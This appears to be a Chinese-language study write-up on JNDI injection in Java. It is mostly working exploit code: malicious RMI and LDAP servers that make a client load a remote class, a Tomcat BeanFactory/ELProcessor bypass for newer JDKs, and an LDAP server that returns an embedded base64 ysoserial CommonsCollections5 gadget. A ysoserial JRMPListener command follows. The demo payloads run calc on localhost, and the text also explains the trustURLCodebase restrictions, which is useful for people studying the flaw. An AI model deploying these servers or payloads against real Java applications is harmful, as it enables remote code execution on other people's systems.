JNDI
JNDI(全称Java Naming and Directory Interface
)是用于目录服务的Java API,它允许Java客户端通过名称发现和查找数据和资源,说的白话一点就是可以对java类进行远程调用
只要某些参数可控如:InitialContext.lookup(URI)里的url,那攻击者就可以将恶意类放到里面去进行执行
rmi
简单的demo
Server
package com.learn.rmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception{
Registry registry= LocateRegistry.createRegistry(1389);
Reference reference = new Reference("test", "test", "http://127.0.0.1:8000/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);
}
}
这里定义好恶意类的名字以及恶意类所处的http服务地址
恶意类
import java.lang.Runtime;
public class Test{
public Test() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
编译好
javac Test.java
python3 -m http.server //开启http服务
Client
package com.learn.rmi;
import javax.naming.InitialContext;
public class Client {
public static void main(String[] args) throws Exception{
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
new InitialContext().lookup("rmi://127.0.0.1:1389/calc");
}
}
JDK < 8u191
JDK 6u132
, JDK 7u122
, JDK 8u113
中Java限制了通过RMI
远程加载Reference
工厂类,com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为了false
,即默认不允许通过RMI从远程的Codebase
加载Reference
工厂类。
所以需要让com.sun.jndi.rmi.object.trustURLCodebase为true
启动服务端和客户端就可以复现了
跟进下过程
在com\sun\jndi\rmi\registry\RegistryContext.class里的构造方法实例化socket类
在调用其lookup方法,最后返回decodeObject()方法
再用到NamingManager来实例化恶意类,在实例化过程就会调用构造方法,从而执行恶意命令
ldap
JNDI不仅可以从通过RMI加载远程的Reference工厂类,也可以通过LDAP协议加载远程的Reference工厂类,但是在之后的版本Java也对LDAP Reference远程加载Factory
类进行了限制,在JDK 11.0.1
、8u191
、7u201
、6u211
之后 com.sun.jndi.ldap.object.trustURLCodebase
属性的值默认为false
,对应的CVE编号为:CVE-2018-3149
同样高版本做测试的时候让其为true就行
Server
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>
package com.learn.ldap;
import com.test.GadgetService;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.NotFoundException;
import sun.misc.BASE64Decoder;
import sun.misc.BASE64Encoder;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
import java.util.concurrent.CountDownLatch;
public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8000/#Test"};
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Calc");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
Client
package com.learn.ldap;
import javax.naming.InitialContext;
public class Client {
public static void main(String[] args) throws Exception{
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
new InitialContext().lookup("ldap://127.0.0.1:1389/Calc");
}
}
原理其实也差不多
高版本绕过
基于tomcat依赖包:RMI
基于tomcat 依赖包中的 org.apache.naming.factory.BeanFactory
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.0.28</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.0.28</version>
</dependency>
这里学到一个新东西
javax.script.ScriptEngineManager.eval方法执行java代码
恶意服务类:
package com.test;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import org.apache.naming.factory.BeanFactory;
import javax.naming.StringRefAddr;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
public class Server {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1389);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
ref.add(new StringRefAddr("forceString", "KINGX=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("KINGX", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc.exe']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
}
}
Client
package com.test;
import javax.naming.Context;
import javax.naming.InitialContext;
public class Client {
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
String uri = "rmi://127.0.0.1:1389/Exploit";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
LDAP利用反序列化触发本地 Gadget
yso
package com.test;
import java.net.*;
import java.text.ParseException;
import java.util.concurrent.CountDownLatch;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
public class GadgetService {
public static Integer port;
public static Object gadget;
private static final String LDAP_BASE = "dc=example,dc=com";
/**
* 使用javaSerializedData直接传递序列化数据
*/
public static void LdapService(Integer port)throws Exception{
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("[+] Listening on 0.0.0.0:" + port);
ds.startListening();
new CountDownLatch(1).await();
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
public OperationInterceptor() {
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
/** Payload1: Return Reference Factory **/
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
/** Payload1 end **/
/** Payload2: Return Serialized Gadget **/
try {
e.addAttribute("javaClassName","Exp");
// java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections5 "calc.exe"|base64
e.addAttribute("javaSerializedData",Base64.decode("rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofa" +
"q2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlv" +
"btD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAV" +
"TGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5n" +
"O1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVz" +
"c2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5T" +
"dGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFj" +
"ZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAI" +
"ZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUXQAJnlzb3NlcmlhbC5wYXlsb2Fk" +
"cy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2Jq" +
"ZWN0c3EAfgALAAAAM3EAfgANcQB+AA5xAH4AD3NxAH4ACwAAACJ0ABl5c29zZXJpYWwuR2VuZXJh" +
"dGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xs" +
"ZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51" +
"dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZM" +
"amF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwAB" +
"SQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rp" +
"b25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9M" +
"amF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMu" +
"bWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2Nv" +
"bGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9u" +
"cy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0" +
"AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9y" +
"Zy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAA" +
"BXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFu" +
"c2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGlt" +
"ZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3Jz" +
"Lkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmpl" +
"Y3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7" +
"eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVy" +
"ABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAA" +
"AAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAAC" +
"cHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAA" +
"AAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAA" +
"AXQACGNhbGMuZXhldAAEZXhlY3VxAH4AMgAAAAFxAH4AN3NxAH4AJ3NyABFqYXZhLmxhbmcuSW50" +
"ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAA" +
"AAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNo" +
"b2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eA=="));
} catch (ParseException e1) {
e1.printStackTrace();
}
/** Payload2 end **/
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
public static void main(String[] args) throws Exception {
LdapService(1389);
}
}
将cc链打到ldap里
JRMP触发本地反序列化
在 RMI 中,对象通过序列化的方式进行编码传输
https://github.com/Litch1-v/ysoserial
利用yso开启服务
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1389 CommonsCollections5 "calc.exe"
lookup打就彳亍
感觉和上面那个ldap性质差不太多
看看源码可知要开启服务需要继承 Runnable
触发反序列化的条件还是需要服务自带gadget。
参考: